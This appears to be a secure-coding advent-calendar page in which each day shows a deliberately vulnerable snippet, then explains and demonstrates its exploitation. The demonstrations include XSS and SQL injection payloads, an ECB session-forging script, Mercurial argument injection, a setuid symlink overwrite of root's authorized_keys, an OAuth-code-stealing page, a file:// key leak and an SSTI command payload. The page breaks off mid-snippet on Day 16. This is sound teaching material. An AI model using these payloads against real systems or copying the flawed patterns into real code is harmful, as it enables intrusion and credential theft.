PHP
Java
C#
JS
Python
PHP
JS
PHP
Python
Java
C
JS
Java
PHP
Python
Python
Java
JavaScript
Python
C#
Java
C#
C
PHP
Day 1: PHP
Can you spot the vulnerability?
1<?php
2
3session_start();
4
5function changePassword($token, $newPassword)
6{
7 $db = new SQLite3('/srv/users.sqlite', SQLITE3_OPEN_READWRITE);
8 $p = $db->prepare('SELECT id FROM users WHERE reset_token = :token');
9 $p->bindValue(':token', $token, SQLITE3_TEXT);
10 $res = $p->execute()->fetchArray(1);
11 if (strlen($token) == 32 && $res)
12 {
13 $p = $db->prepare('UPDATE users SET password = :password WHERE id = :id');
14 $p->bindValue(':password', $newPassword, SQLITE3_TEXT);
15 $p->bindValue(':id', $res['id'], SQLITE3_INTEGER);
16 $p->execute();
17 # TODO: notify the user of the new password by email
18 die('Password changed!');
19 }
20 http_response_code(403);
21 die('Invalid reset token!');
22}
23
1<?php
2
3session_start();
4
5function generatePasswordResetToken($user)
6{
7 $db = new SQLite3('/srv/users.sqlite', SQLITE3_OPEN_READWRITE);
8 $token = md5(mt_rand(1, 100) . $user . time() . session_id());
9 $p = $db->prepare('UPDATE users SET reset_token = :token WHERE name = :user');
10 $p->bindValue(':user', $user, SQLITE3_TEXT);
11 $p->bindValue(':token', $token, SQLITE3_TEXT);
12 $p->execute();
13}
14
None of the values used to generate the token are truly unique:
- only 100 random numbers can be generated;
- the username is known;
- the session identifier is known and set with the cookie
PHPSESSID
; - the timestamp at the time of the request can be estimated based on response headers.
Attackers would have first to trigger a password reset for the targeted user and then generate tokens until the right one is found. In that case, we could achieve it after a few dozen tries.
You can find a SonarCloud scan of this challenge here: SonarCloud Scan.
We identified a very similar vulnerability in the PHP package manager PEAR. You can read the complete publication at
PHP Supply Chain Attack on PEAR. It allowed taking
over any user's account and then enabled the exploitation of a 1-day bug in the library Archive_TAR
.
Day 2: Java
Can you spot the vulnerability?
1// ...
2HttpServer srv = HttpServer.create(new InetSocketAddress(9000), 0);
3srv.createContext("/", new HttpHandler() {
4 @Override
5 public void handle(HttpExchange he) throws IOException {
6 String ret = "<!DOCTYPE html><html><head><title>Comments</title></head><body><table>";
7 try {
8 ResultSet rs = statement.executeQuery("select * from comments");
9 while (rs.next()) {
10 String comment = rs.getString("comment").replace("<", "<").replace(">", ">");
11 ret += "<tr><td>" + Normalizer.normalize(comment, Normalizer.Form.NFKC) + "</td></tr>\n";
12 }
13 Main.response(he, 200, ret + "</table></body></html>");
14 } catch (Exception exp) {
15 System.out.println(exp);
16 Main.response(he, 500, "Internal Server Error");
17 }
18 }
19});
20
21srv.createContext("/comment", new HttpHandler() {
22 @Override
23 public void handle(HttpExchange he) throws IOException {
24 try {
25 JSONObject jsonObject = (JSONObject)(new JSONParser()).parse(new InputStreamReader(he.getRequestBody(), "UTF-8"));
26 PreparedStatement stmt = finalConnection.prepareStatement("insert into comments values(?)");
27 stmt.setString(1, (String)jsonObject.get("comment"));
28 stmt.executeUpdate();
29 Main.response(he, 200, "Ok");
30 } catch (Exception exp) {
31 Main.response(he, 500, "Internal Server Error");
32 }
33 }
34});
35srv.start();
36
The user-provided comment is sanitized to prevent Cross-Site Scripting (XSS) vulnerabilities. However, after the sanitization, it is normalized with Normalizer.normalize()
.
This re-introduces a risk of XSS. In this case, the NFKC normalization allows an attacker to leverage the Unicode characters U+FE64
and U+FE65
to introduce the characters <
and >
in the result. The following payload allows an attacker to exploit this vulnerability:
1{'comment':'\ufe64script\ufe65alert(document.domain);\ufe64/script\ufe65'}
2
Modifying sanitized data is a very common unsafe pattern. For instance, we found it in the popular webmail software Zimbra and documented it in Zimbra 8.8.15 - Webmail Compromise via Email.
Day 3: C#
Can you spot the vulnerability?
1class ApiHandler {
2 public string Call(HttpRequest request, HttpResponse response) {
3 try
4 {
5 if (!Regex.IsMatch(request.Query["path"], "^[/a-zA-Z0-9_]*")) {
6 return "not allowed!";
7 }
8 var url = "https://api.github.com" + request.Query["path"];
9 var clientHandler = new HttpClientHandler();
10 clientHandler.AllowAutoRedirect = false;
11 var client = new HttpClient(clientHandler);
12 var authHeader = Environment.GetEnvironmentVariable("Authorization");
13 client.DefaultRequestHeaders.Add("Authorization", authHeader);
14 Task.Run(() => client.GetAsync(url));
15 }
16 catch (Exception ex) {
17 return "error";
18 }
19 return "request sent";
20 }
21}
22
The URL https://api.github.com
does not end with a /
. An attacker can thus send the request to any server via path=.attacker.com/hello
, resulting in https://api.github.com.attacker.com/hello
. When an attacker uses this to redirect the request to their server, the Authorization
header gets leaked.
To perform this attack, path
must match the regular expression ^[/a-zA-Z0-9_]*
. Looking at the regex, we see that the character *
is a greedy quantifier, indicating that any amount of matches is allowed, including zero. The payload .attacker.com/hello
does not match the pattern ^[/a-zA-Z0-9_]*
, but since zero matches are allowed by the *
quantifier, an attacker can use an arbitrary string as a payload.
Day 4: JS
Can you spot the vulnerability?
1const express = require('express');
2const auth = require('./auth');
3const app = express();
4
5app.use((req, res, next) => {
6 if (req.url.startsWith('/api')) {
7 const allowed = auth.checkToken(req);
8 if (!allowed) {
9 return res.status(401).send('missing auth token!');
10 }
11 }
12
13 next();
14});
15
16app.use('/static', express.static('./static'));
17app.use('/api', require('./api'));
18
19app.listen(1337);
20
The routing of the express framework is case-insensitive by default. This means that requesting /api/users/
and /API/users
will have the same outcome. In contrast, the authentication middleware that is supposed to protect the /api
endpoint only checks for a valid token when the route starts with /api
. Since this check is case sensitive, it can be bypassed by accessing /API
because express will still route it to the correct API handler while auth tokens are not validated.
Day 5: Python
Can you spot the vulnerability?
1cipher = AES.new(get_random_bytes(16), AES.MODE_ECB)
2
3users = [{'usrid': 0, 'name': 'admin', 'pwd': get_random_bytes(16).hex()},
4 {'usrid': 1, 'name': 'guest', 'pwd': 'guest'}]
5
6def gen_cookie(usrid, name):
7 name = name.replace('"', '')
8 return b64encode(cipher.encrypt(pad(f'{{"usrid":{int(usrid)}, "name":"{name}"}}'.encode(), 16)))
9
10@app.route('/settings', methods=['POST'])
11def settings():
12 user = loads(unpad(cipher.decrypt(b64decode(request.cookies.get('session'))), 16))
13 if user:
14 resp = make_response(redirect('/settings'))
15 name = request.form.get('name').replace('"', '')
16 for u in users:
17 if u['usrid'] == user['usrid']: u['name'] = name
18 resp.set_cookie('session', gen_cookie(user['usrid'], name))
19 return resp
20 return redirect('/login')
21
22@app.route('/login', methods=['POST'])
23def login():
24 user = [u for u in users if u['name'] == request.form.get('name') and u['pwd'] == request.form.get('pwd')]
25 if len(user) == 1:
26 resp = make_response(redirect('/settings'))
27 resp.set_cookie('session', gen_cookie(user[0]['usrid'], user[0]['name']))
28 return resp
29 return jsonify({'error': 'invalid credentials'})
30
The session cookie used by the application is encrypted using AES in ECB mode. This mode is not secure and should never be used. Any usage of this or similar insecure encryption algorithm modes and padding schemes are automatically detected and reported by our engine: SonarCloud Scan.
AES operates on 16-byte (128-bit) blocks. In ECB mode blocks are processed independently from each other. This means that the order of encrypted blocks can be changed without breaking the decryption:
1>>> cipher = AES.new(get_random_bytes(16), AES.MODE_ECB)
2>>> ct = cipher.encrypt(b'This example shows that ECB should not be used!!')
3>>> block1 = ct[:0x10]; block2 = ct[0x10:0x20]; block3 = ct[0x20:]
4
5>>> cipher.decrypt(block1+block2+block3)
6b'This example shows that ECB should not be used!!'
7
8>>> cipher.decrypt(block3+block2+block1)
9b'ld not be used!!ws that ECB shouThis example sho'
10
11>>> cipher.decrypt(block1+block1+block1)
12b'This example shoThis example shoThis example sho'
13
Attackers can control part of the cleartext and thus create arbitrary ciphertext blocks. These blocks can then be re-ordered to forge the desired plaintext, for instance, a valid session cookie for the admin
user.
Within this application, the session cookie contains the usrid
and the user's name
. Since users can change their names, they can partially control the contents of the encrypted cookie. They can use this to create the required encrypted blocks to forge a valid admin session cookie. The difficulty here is that the cookie has to be valid JSON, and the username cannot contain double quotes. Since double quotes are required to create valid JSON data, attackers can leverage the ones inserted by the application.
The goal is to forge the following JSON data:
1{"userid":0}
2
At first, we forge a block, which contains {"
. Since we cannot insert double quotes in the name, we use the one inserted by the application at the end of the name. For padding, we can use spaces, which are ignored when the JSON data is parsed. Thus we can change our username to guest {
, which results in the following blocks:
[----block1----][----block2----][----block3----][----block4----]
{"usrid":1, "name":"guest {"}
block3
contains {"
. This will be our first block.
Next, we need to craft the block usrid"
. This is not easy because we need to fit the 16-byte block, and we cannot use spaces for padding because that would change the key. Fortunately, we can leverage the Unicode character encoding to make our data fit into a 16-byte block. For this, we have to change the username to guest \\u0075\\u0073rid
, where \\u0075
and \\u0073
are the encoded letters u
and s
, respectively. This will result in the following blocks:
[----block1----][----block2----][----block3----][----block4----]
{"usrid":1, "name":"guest \u0075\u0073rid"}
block3
contains \u0075\u0073rid"
. This will be our second block.
Next, we craft the block :0
. At this point, we can use spaces for padding again. Changing our username to guest :0
results in the following blocks:
[----block1----][----block2----][----block3----][----block4----]
{"usrid":1, "name":"guest :0"}
block3
contains :0
. This will be our third block.
Next, we craft a block containing }
. We change our username to guest }
resulting in the following blocks:
[----block1----][----block2----][----block3----][----block4----]
{"usrid":1, "name":"guest }"}
block3
contains }
. This will be our fourth block.
Now, we need to craft an empty block, which is required for padding. We change our username to guest
, which results in the following blocks:
[----block1----][----block2----][----block3----]
{"usrid":1, "name":"guest "}
block3
will be populated with the required padding bytes (\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10
). This will be our last block.
If we now concatenate all blocks we get the following result:
[----block1----][----block2----][----block3----][----block4----][----block5----]
{"\u0075\u0073rid" :0 } ... PADDING ...
This results in a valid admin session cookie:
>>> loads(' {"\u0075\u0073rid" :0 }')
{'usrid': 0}
After base64-encoding the concatenated, encrypted blocks, we can use the result as a session cookie and access the /settings
endpoint as the admin
user.
The following script carries out the explained steps:
1import requests
2from base64 import b64decode, b64encode
3URL = 'http://localhost'
4
5s = requests.Session()
6s.post(URL + '/login', data={'name':'guest', 'pwd':'guest'})
7
8# 0123456789012345
9# [xxxxxxxxxxxxxx][xxxxxxxxxxxxxx]
10# {"usrid":1, "name":"guest"}
11
12# [xxxxxxxxxxxxxx][xxxxxxxxxxxxxx][xxxxxxxxxxxxxx][xxxxxxxxxxxxxx]
13# {"usrid":1, "name":"guest {"}
14s.post(URL + '/settings', data={'name':'guest {'})
15data = b64decode(s.cookies.get('session'))
16# block1 = ' {"'
17block1 = data[0x20:0x30]
18
19# [xxxxxxxxxxxxxx][xxxxxxxxxxxxxx][xxxxxxxxxxxxxx][xxxxxxxxxxxxxx]
20# {"usrid":1, "name":"guest \u0075\u0073rid"}
21s.post(URL + '/settings', data={'name':'guest \\u0075\\u0073rid'})
22data = b64decode(s.cookies.get('session'))
23# block2 = '\u0075\u0073rid"'
24block2 = data[0x20:0x30]
25
26# [xxxxxxxxxxxxxx][xxxxxxxxxxxxxx][xxxxxxxxxxxxxx][xxxxxxxxxxxxxx]
27# {"usrid":1, "name":"guest :0"}
28s.post(URL + '/settings', data={'name':'guest :0'})
29data = b64decode(s.cookies.get('session'))
30# block3 = ' :0'
31block3 = data[0x20:0x30]
32
33# [xxxxxxxxxxxxxx][xxxxxxxxxxxxxx][xxxxxxxxxxxxxx][xxxxxxxxxxxxxx]
34# {"usrid":1, "name":"guest }"}
35s.post(URL + '/settings', data={'name':'guest }'})
36data = b64decode(s.cookies.get('session'))
37# block4 = ' }'
38block4 = data[0x20:0x30]
39
40# last block required for padding
41# [xxxxxxxxxxxxxx][xxxxxxxxxxxxxx][xxxxxxxxxxxxxx]
42# {"usrid":1, "name":"guest "}
43s.post(URL + '/settings', data={'name':'guest '})
44data = b64decode(s.cookies.get('session'))
45# block5 = '\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10'
46block5 = data[0x20:0x30]
47
48# [xxxxxxxxxxxxxx][xxxxxxxxxxxxxx][xxxxxxxxxxxxxx][xxxxxxxxxxxxxx]
49# all_blocks = ' {"\u0075\u0073rid" :0 }'
50# (+ padding)
51
52# >>> loads(' {"\u0075\u0073rid" :0 }')
53# {'usrid': 0}
54
55c = {'session': b64encode(block1+block2+block3+block4+block5).decode()}
56j = requests.get(URL + '/settings', cookies=c).json() # admin access
57
Day 6: PHP
Can you spot the vulnerability?
1<?php
2$db = new SQLite3('/srv/users.sqlite');
3
4if(!isset($_POST['mail'])) {
5 die("Need mail.\n");
6}
7
8$mail = $_POST['mail'];
9
10$filter_chain = array(FILTER_DEFAULT, FILTER_SANITIZE_ADD_SLASHES, FILTER_VALIDATE_EMAIL, FILTER_SANITIZE_STRING);
11
12for($i=0; $i < count($filter_chain); $i++){
13 if(filter_var($mail, $filter_chain[$i]) === false){
14 die("Invalid Email.\n");
15 }
16}
17
18// check if email exists
19$user = $db->querySingle("SELECT username FROM users WHERE email='$mail' LIMIT 1");
20if(!$user){
21 die('No user found with given email.');
22}
23
24echo sprintf("Hello %s we sent you an email ;).\n", htmlspecialchars($user, ENT_QUOTES));
25
The attacker-controlled variable $mail
is validated but not sanitized and ends in a raw SQLite query.
The variable $mail
is validated by 4 filters:
FILTER_DEFAULT
: no effect, as no flag is provided;FILTER_SANITIZE_ADD_SLASHES
: equivalent toaddslashes()
;FILTER_VALIDATE_EMAIL
: email validation based on RFC822FILTER_SANITIZE_STRING
: roughly equivalent tohtmlspecialchars()
andstrip_tags()
.
As the return value of filter_var
is discarded, the only relevant filter is FILTER_VALIDATE_EMAIL
. The RFC is not very strict, allowing the use of many special characters.
By injecting new statements in the SQL query, the attacker can add a UNION
clause to extract other values from the database, like any user's password. The result of the SQL query will be received by email.
For instance, the email '/**/union/**/select/**/password/**/FROM/**/users/*'@a.s
is valid and will successfully leak the victim's password!
We used this technique during our research on Codoforum; you can read the complete publication at Codoforum 4.8.7: Critical Code Vulnerabilities Explained.
Day 7: JS
Can you spot the vulnerability?
1<script setup>
2import PageContent from './components/PageContent.vue';
3</script>
4
5<template>
6 <main>
7 <img src="@/assets/logo.svg" class="logo">
8 <PageContent
9 msg="You did it!"
10 v-bind="$route.query"
11 class="card-lg"
12 />
13 </main>
14</template>
15
16<style>
17@keyframes spinner {
18 from { transform: rotate(0deg); }
19 to { transform: rotate(360deg); }
20}
21img.logo {
22 animation: 5s linear spinner infinite;
23}
24</style>
25
The v-bind
directive of Vue.js can be used to define arbitrary attributes on any HTML element. The directive expects an object where each item's key and value become an attribute name and value. In this case, the data comes from Vue Router where $route
represents the current URL. Depending on the routing mode, $route.query
either comes from the current URL's query parameters, or from the URL's hash portion. For this example, we will assume the latter.
An attacker could now set arbitrary attributes on the PageContent
component, including event handlers. This constitutes a reflected, DOM-based Cross-Site Scripting (DOM-XSS) vulnerability! Since we are not sure what kind of HTML element the root of PageContent
will be, we can check Portswigger's excellent XSS cheat sheet to find a reliable way of executing attacker-controlled JavaScript as soon as the page loads.
The animation that is defined in the CSS part of the code snippet comes in very handy here! Since the spinner
animation is already defined, we can use it in a style
attribute and put arbitrary JavaScript into the onanimationstart
event handler. When the page loads, the animation begins and triggers the event handler, executing the attacker-controlled JavaScript. The final URL looks like this:
http://chal:1337/#/?style=animation-name:spinner&onanimationstart=alert(1)
We used the same technique to exploit a DOM XSS vulnerability in Smartstore, an e-commerce platform written in C#. Read the details in our blog post:
SmartStoreNET - Malicious Message leading to E-Commerce Takeover
Day 8: PHP
Can you spot the vulnerability?
1<?php
2session_start();
3
4function client_ip(){
5 return !empty($_SERVER['HTTP_X_FORWARDED_FOR']) ? $_SERVER['HTTP_X_FORWARDED_FOR'] : $_SERVER['REMOTE_ADDR'];
6}
7
8$ip = client_ip();
9if(!filter_var($ip, FILTER_VALIDATE_IP) || !in_array($ip, array('localhost', '127.0.0.1'))){
10 die(htmlspecialchars("Not allowed!\n"));
11}
12
13if(!isset($_SESSION['auth'])){
14 header("Location: error.php");
15}
16
17// interact with API endpoints
18echo call_user_func($_GET['cmd'], $_GET['arg']);
19
The IP address can be set to 127.0.0.1
via the X-Forwarded-For
HTTP header, which bypasses the allow-list. However, attackers won't have a valid session in $_SESSION['auth']
, which automatically leads to a redirect to another page.
A redirect is a response to a client which does not have to be respected. Whether or not the client follows the redirect, the server keeps executing the lines following the header
function call.
Therefore, the redirect has no effect, and the script reaches call_user_func()
, which allows executing arbitrary PHP code or commands.
Day 9: Python
Can you spot the vulnerability?
1def upload(request):
2 f = request.FILES["data"]
3 with open(f'/tmp/storage/{f.name}', 'wb+') as destination:
4 for chunk in f.chunks(): destination.write(chunk)
5 return HttpResponse("File is uploaded!")
6
7def install(request):
8 language_name = request.GET['language_name']
9 if '..' in language_name: return HttpResponse("Not allowed!")
10
11 src = os.path.join('contrib', 'languages', language_name)
12 dst = os.path.join('/tmp/extract', language_name)
13
14 shutil.copy(src, dst)
15 shutil.unpack_archive(dst, extract_dir='/tmp/extract')
16
17 return HttpResponse("Installed!")
18
19def clean(request):
20 file = os.path.basename(request.GET['file'])
21 file_safe = f'/tmp/storage/{file}'
22 os.unlink(file_safe)
23 return HttpResponse("file removed!")
24
The idea of this challenge is to upload a tar
archive and extract it, resulting in an arbitrary file write primitive. For this, we have to bypass a path traversal mitigation and exploit a race condition in shutil.copy
.
In /install
, the attacker-controlled parameter language_name
is concatenated with the variables src
and dst
by using os.path.join
.
After uploading the file p.tar
, we can access it using language_name=/tmp/storage/p.tar
, which bypasses the path traversal check, thanks to os.path.join
.
If this behavior is unknown to you, check out our blog post 10 Unknown Security Pitfalls for Python.
However, bypassing the path traversal check results in the src==dst
condition being true. This causes shutil.copy
to raise an unhandled exception since dst
already exists and as a result, the uploaded archive is not extracted.
The execution of shutil.copy
is not atomic and consists of several intermediate steps. It is possible to race the check for the existence of the file dst
. For this, we have to delete dst
and, therefore, src
using the endpoint /clean
, which allows us to delete a file in /tmp/storage/
.
By re-uploading, deleting p.tar
, and requesting /install
in parallel, we can race and survive shutil.copy
.
It causes our p.tar
to be extracted via shutil.unpack_archive
, allowing us to create arbitrary files.
Day 10: Java
Can you spot the vulnerability?
1@WebServlet(name = "MercurialImporterServlet", urlPatterns = {"/check"})
2public class MercurialImporterServlet extends HttpServlet {
3 @Override
4 protected void doPut(HttpServletRequest req, HttpServletResponse res) throws IOException {
5 res.setContentType("text/plain");
6 var out = res.getOutputStream();
7 if (req.getParameter("repository") == null
8 || req.getParameter("repository").indexOf("$(") != -1
9 || req.getParameter("repository").indexOf("`") != -1) {
10 res.setStatus(405);
11 return;
12 }
13 var cmd = new String[] {
14 "hg",
15 "identify",
16 req.getParameter("repository")
17 };
18 var p = Runtime.getRuntime().exec(cmd);
19 var br = new BufferedReader(new InputStreamReader(p.getInputStream()));
20 String l;
21 while ((l = br.readLine()) != null) {
22 out.write(l.getBytes("ascii"));
23 }
24 br.close();
25 }
26}
27
The checks against command injection vulnerabilities are not important here, as attackers can add
arbitrary arguments to the Mercurial client invocation. In this context, this is very powerful: Mercurial allows providing
additional configuration via its arguments and supports a directive named alias.<subcommand>
to override subcommands.
The documentation mentions that overrides prefixed with an exclamation mark can execute arbitrary shell commands:
It is possible to create aliases with the same names as existing commands, which will then override the original definitions. This is almost always a bad idea! An alias can start with an exclamation point (!) to make it a shell alias. A shell alias is executed with the shell and will let you run arbitrary commands. As an example, echo = !echo $@
The final payload would look like repository=--config=alias.identify=!id
to execute the command id
.
This is something we documented in PHP Supply Chain Attack on Composer and Securing Developer Tools: A New Supply Chain Attack on PHP and allowed us to take over all existing PHP dependencies, twice!
You can find a SonarCloud scan of this challenge here: SonarCloud Scan.
Day 11: C
Can you spot the vulnerability?
1// $ ls -lh /opt/logger/bin/
2// -rwsrwsr-x 1 root root 14K Dec 11 13:37 loggerctl
3
4char *logger_path, *cmd;
5
6void rotate_log() {
7 char log_old[PATH_MAX], log_new[PATH_MAX], timestamp[0x100];
8 time_t t;
9 time(&t);
10 strftime(timestamp, sizeof(timestamp), "%FT%T", gmtime(&t));
11 snprintf(log_old, sizeof(log_old), "%s/../logs/global.log", logger_path);
12 snprintf(log_new, sizeof(log_new), "%s/../logs/global-%s.log", logger_path, timestamp);
13 execl("/bin/cp", "/bin/cp", "-a", "--", log_old, log_new, NULL);
14}
15
16int main(int argc, char **argv) {
17 if (argc != 2) {
18 printf("Usage: /opt/logger/bin/loggerctl <cmd>\n");
19 return 1;
20 }
21
22 if (setuid(0) == -1) return 1;
23 if (seteuid(0) == -1) return 1;
24
25 char *executable_path = argv[0];
26 logger_path = dirname(executable_path);
27 cmd = argv[1];
28
29 if (!strcmp(cmd, "rotate")) rotate_log();
30 else list_commands();
31 return 0;
32}
33
The first two lines show that the binary has the setuid bit set and is owned by root, so it can run as root regardless of which user executes it. In lines 22-23 the program makes use of this by setting its user ID (uid
) and effective user ID (euid
) to the ID of root (0
).
After that, the executable takes its own path from argv[0]
and saves its parent directory in the logger_path
global. Here lies the vulnerability, due to a misconception by the developer: argv[0]
can be fully controlled by the calling process and does not have to be the path of the binary being called!
The rest of the program resolves around the rotate_log()
function that copies a log file to another path. Both the source and the destination of this copy operation are paths relative to logger_path
. Since this value can be controlled by the calling process, it allows an attacker to perform the copy operation inside (almost) arbitrary folders.
However, there is still a limitation: the destination the file is copied to has to have a specific name, determined by the current system date and time. To be able to write to arbitrary files, the attacker can make use of symbolic links. When the target file is such a symlink, the source file will be copied to the location the link points to.
To exploit the vulnerability, an attacker has to create a folder structure that mimics the one expected by the binary. Example:
/tmp/fakedir/
├── bin/
└── logs/
├── global-2022-12-11T13:33:37.log -> /root/.ssh/authorized_keys
└── global.log
The file global.log
should contain the data to be written. The symbolic link global-2022-12-11T13:33:37.log
has to be named correctly based on the current time and should point to the file the attacker wants to overwrite. To finally trigger the vulnerability, the loggerctl
binary has to be executed with an argv[0]
value of /tmp/fakedir/bin/dummy
, for example using the following C program:
1#include <unistd.h>
2void main() {
3 execl("/opt/logger/bin/loggerctl", "/tmp/fakedir/bin/dummy", "rotate", NULL);
4}
5
The loggerctl
binary will now copy the attacker-controlled content of global.log
to the target of the symlink, in this case /root/.ssh/authorized_keys
. Since the executable always runs as root due to the setuid bit, any low-privileged user can use it to write to otherwise protected files. There are many ways for an attacker to elevate their privileges with such a file write primitive, so you can get creative!
Day 12: JS
Can you spot the vulnerability?
1<!-- oauth-popup.html -->
2<script>
3const handlers = Object.assign(Object.create(null), {
4 getAuthCode(sender) {
5 sender.postMessage({
6 type: 'auth-code',
7 code: new URL(location).searchParams.get('code'),
8 }, '*');
9 },
10 startAuthFlow(sender, clientId) {
11 location.href = 'https://github.com/login/oauth/authorize'
12 + '?client_id=' + encodeURIComponent(clientId)
13 + '&redirect_uri=' + encodeURIComponent(location.href);
14 },
15});
16window.addEventListener('message', ({ source, origin, data }) => {
17 if (source !== window.opener) return;
18 if (origin !== window.origin) return;
19 handlers[data.cmd](source, ...data.args);
20});
21window.opener.postMessage({ type: 'popup-loaded' }, '*');
22</script>
23
The code represents a popup used for single sign-on authentication via GitHub. It uses cross-origin messaging to talk to its opener, for example to notify its opener with a popup-loaded
message once the popup loads. The opener can then send certain commands to start the OAuth flow, or to retrieve the OAuth code after successful authorization.
To prevent arbitrary sites from stealing this auth code, the popup validates that the incoming message's origin
property is the same as the popup's own window.origin
. This check works in most cases, but there is an edge case that attackers can abuse: window.origin
can be forced to be 'null'
! Let's see how that works:
When a page is embedded in an iframe, the embedding page can use the sandbox
attribute restrict what the iframe can do. This causes the origin of the embedded page to be 'null'
, unless the allow-same-origin
sandbox directive is specified. The embedded page can open popups when the allow-popups
directive is present, and the null origin effect will propagate to these popups unless the allow-popups-to-escape-sandbox
was used.
An attacker can use this to their advantage! They can create a page that contains a sandboxed iframe, which opens the OAuth popup. The iframe, and therefore also the popup, will have an origin of 'null'
and the attacker can send the startAuthFlow
command to start the OAuth flow. The command is accepted by the popup because both origin are now equal. When GitHub redirects back to the popup, the OAuth code will be provided in the code
URL query parameter. The attacker page can then send the getAuthCode
command and the popup will happily return it back.
In the case of GitHub, the exploits only works if the victim has already done the OAuth flow for the victim application at least once. Otherwise, GitHub itself is restricted by the propagated sandbox and their OAuth page will not function.
There are two potential ways to fix this vulnerability. First, the popup's check should use location.origin
instead of window.origin
because that value does not get altered by the sandbox. Second, the calls to postMessage()
should use the specific target origin (e.g. location.origin
) instead of a wildcard ('*'
). That way, the attacker page would not be able to receive the OAuth code.
A full exploit, which an attacker could host on their server, looks like this:
1<iframe sandbox="allow-scripts allow-popups" src="data:text/html,
2<body>
3 <script>
4 const victimClientId = '<client_id>';
5 const victimUrl = new URL('http://localhost:1337/oauth-popup.html');
6 const victimWindow = window.open(victimUrl.toString(), '_blank', 'popup=1,width=600,height=800');
7 let hasStarted = false;
8 window.onmessage = (event) => {
9 const { type } = event.data;
10 if (type === 'popup-loaded') {
11 if (hasStarted) {
12 // the popup loaded the second time, indicating a successful OAuth flow
13 victimWindow.postMessage({ cmd: 'getAuthCode', args: [] }, '*');
14 } else {
15 // the popup loaded for the first time, start the OAuth flow
16 hasStarted = true;
17 victimWindow.postMessage({ cmd: 'startAuthFlow', args: [victimClientId] }, '*');
18 }
19 } else if (type === 'auth-code') {
20 victimWindow.close();
21 document.body.textContent = 'Leaked GitHub OAuth code: ' + event.data.code;
22 }
23 };
24 <\/script>
25</body>
26"></iframe>
27
Day 13: Java
Can you spot the vulnerability?
1HttpServer srv = HttpServer.create(new InetSocketAddress(1337), 0);
2
3srv.createContext("/register", he - > {
4 try {
5 JSONObject params = Server.getParams(he);
6 String username = (String) params.get("username");
7 String password = (String) params.get("password");
8 if (username == null || password == null) {
9 Server.response(he, 500, "Internal Server Error");
10 return;
11 }
12
13 if (Server.user_exists(conn, username)) {
14 Server.response(he, 403, "user exists");
15 return;
16 }
17
18 ResultSet rs = smt.executeQuery("SELECT password FROM users");
19 while (rs.next()) {
20 if (rs.getString("password").startsWith(password)) {
21 Server.response(he, 403, "password policy not followed");
22 return;
23 }
24 }
25 } catch (ParseException | SQLException e) {
26 Server.response(he, 500, "Internal Server Error");
27 return;
28 }
29});
30
31
32srv.start();
33
If a new user, which does not exist yet, is registered, their password is compared with the passwords of all
existing users via the function startswith()
.
When the password of the new user starts with the same characters as any registered user, a unique error message is displayed ("password policy not followed"). As a result, attackers can go through the passwords character by character to extract existing passwords.
For example:
username = Some random user that doesn't exist.
i | password | Response |
---|---|---|
1 | a | new user is registered |
2 | b | password policy not followed |
3 | ba | new user is registered |
3 | bb | password policy not followed |
Attackers can repeat this until a password is extracted and try to log in with this password and the username admin
. If this is not correct, they can extract the next password.
If you enjoyed the challenge, check out our publication on Disclosing information with a side-channel in Django. It allowed us to leak information through a side channel in Django.
Day 14: PHP
Can you spot the vulnerability?
1<?php
2const LEAK_ME = '/key.pem';
3
4function debugCertificate()
5{
6 if (!array_key_exists('cert', $_POST)) {
7 die('Please provide your certificate!');
8 }
9 if (strstr($_POST['cert'], 'BEGIN PUBLIC')) {
10 $res = openssl_pkey_get_public($_POST['cert']);
11 } else {
12 $res = openssl_pkey_get_private($_POST['cert']);
13 }
14 $res = openssl_pkey_get_details($res);
15 echo 'Here is your key:<br><pre>' . serialize($res) . '</pre>';
16}
17
The PHP documentation states that functions of the OpenSSL extension accept
either a path or a PEM certificate in the same argument. You can find it in
the page of openssl_pkey_get_public()
or directly in PHP's source code.
The distinction is based only on the first parameter's prefix, file://
.
As a result, the attacker can simply provide file:///key.pem
in $_POST['key']
and leak its contents!
This challenge is based on a similar finding in the IT monitoring software Icinga. You can find all the details in Path Traversal Vulnerabilities in Icinga Web.
Exploiting it in Icinga required an additional in the PHP interpreter, a NULL byte injection, that we reported and that is now patched.
Day 15: Python
Can you spot the vulnerability?
1app = Flask(__name__)
2app.config['TEMPLATES_AUTO_RELOAD'] = True
3Session(app)
4users = {'guest':'guest'}
5
6@app.route('/login', methods=['GET', 'POST'])
7def login():
8 # ... do login ...
9
10@app.route('/register', methods=['GET', 'POST'])
11def register():
12 if request.method == 'POST':
13 username = request.form.get('username')
14 if username in users:
15 return render_template('error.html', msg='Username already taken!', return_to='/register')
16 users[username] = request.form.get('password')
17 return redirect('/login')
18 return render_template('register.html')
19
20@app.route('/notes', methods=['GET', 'POST'])
21def notes():
22 if not session.get('username'): return redirect('/login')
23 notes_file = 'notes/' + session.get('username')
24 if commonpath((app.root_path, abspath(notes_file))) != app.root_path:
25 return render_template('error.html', msg='Error processing notes file!', return_to='/notes')
26 if request.method == 'POST':
27 with open(notes_file, 'w') as f: f.write(request.form.get('notes'))
28 return redirect('/notes')
29 notes = ''
30 if exists(notes_file):
31 with open(notes_file, 'r') as f: notes = f.read()
32 return render_template('notes.html', username=session.get('username'), notes=notes)
33
The application constructs the name of the notes files with the username:
1notes_file = 'notes/' + session.get('username')
2
Since users can provide arbitrary usernames during registration, this leads to a path traversal vulnerability. The /notes
endpoint can be used to write arbitrary content to the notes file.
Though, the application verifies that the notes file resides within the application's root directory:
1if commonpath((app.root_path, abspath(notes_file))) != app.root_path: ...
2
The application uses templates, and auto-reloading of templates is enabled:
1app.config['TEMPLATES_AUTO_RELOAD'] = True
2
Thus an attacker can overwrite an existing template (e.g., error.html
), which results in a Serverside Template Injection (SSTI) vulnerability. The default folder for templates is called templates
. Thus the error.html
file resides within templates/error.html
.
To exploit the vulnerability, an attacker can register a user with the name ../templates/error.html
. This user's notes are now written to templates/error.html
, overwriting the existing template. Attackers can use the following payload to run a system command:
1{{request.application.__globals__.__builtins__.__import__('os').popen('echo pwned').read()}}
2
The payload is triggered when the error.html
template is loaded, for instance, when trying to register a duplicate username.
Day 16: Python
Can you spot the vulnerability?
1def _git(cmd, args, cwd='/'):
2 proc = run(['git', cmd, *args],
3 stdout=PIPE,
4 stderr=DEVNULL,
5 cwd=cwd,
6 timeout=5)
7 return proc.stdout.decode().strip()
8
9@app.route('/blame', methods=['POST'])
10def blame():
